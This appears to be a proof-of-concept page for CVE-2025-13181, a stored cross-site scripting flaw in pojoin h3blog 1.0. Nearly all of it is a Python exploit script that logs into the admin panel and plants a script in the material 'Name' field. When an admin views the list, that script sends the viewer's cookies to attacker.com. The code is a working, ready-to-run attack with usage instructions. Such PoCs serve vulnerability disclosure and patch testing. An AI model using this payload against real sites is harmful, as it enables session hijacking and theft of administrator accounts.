CVE-2025-13181: pojoin h3blog 1.0跨站脚本(XSS)漏洞

import requests import sys from urllib.parse import quote # CVE-2025-13181 PoC - Stored XSS in pojoin h3blog 1.0 # Target: /admin/cms/material/add # Parameter: Name def exploit_xss(target_url, username, password): """ Exploit stored XSS vulnerability in pojoin h3blog 1.0 """ login_url = f"{target_url}/admin/login" upload_url = f"{target_url}/admin/cms/material/add" # XSS Payload - Cookie stealing example xss_payload = '<script>fetch("https://attacker.com/log?c="+document.cookie)</script>' # Step 1: Login to admin panel session = requests.Session() login_data = { 'username': username, 'password': password } try: login_response = session.post(login_url, data=login_data) # Step 2: Upload material with XSS payload in Name field upload_data = { 'Name': xss_payload, 'Type': 'image', 'Description': 'Test material' } upload_response = session.post(upload_url, data=upload_data) if upload_response.status_code == 200: print(f"[+] XSS Payload submitted successfully") print(f"[+] Payload: {xss_payload}") print(f"[+] When admin views material list, script will execute") else: print(f"[-] Upload failed with status: {upload_response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 4: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password>") print(f"Example: python {sys.argv[0]} http://localhost:8080 admin admin123") sys.exit(1) exploit_xss(sys.argv[1], sys.argv[2], sys.argv[3])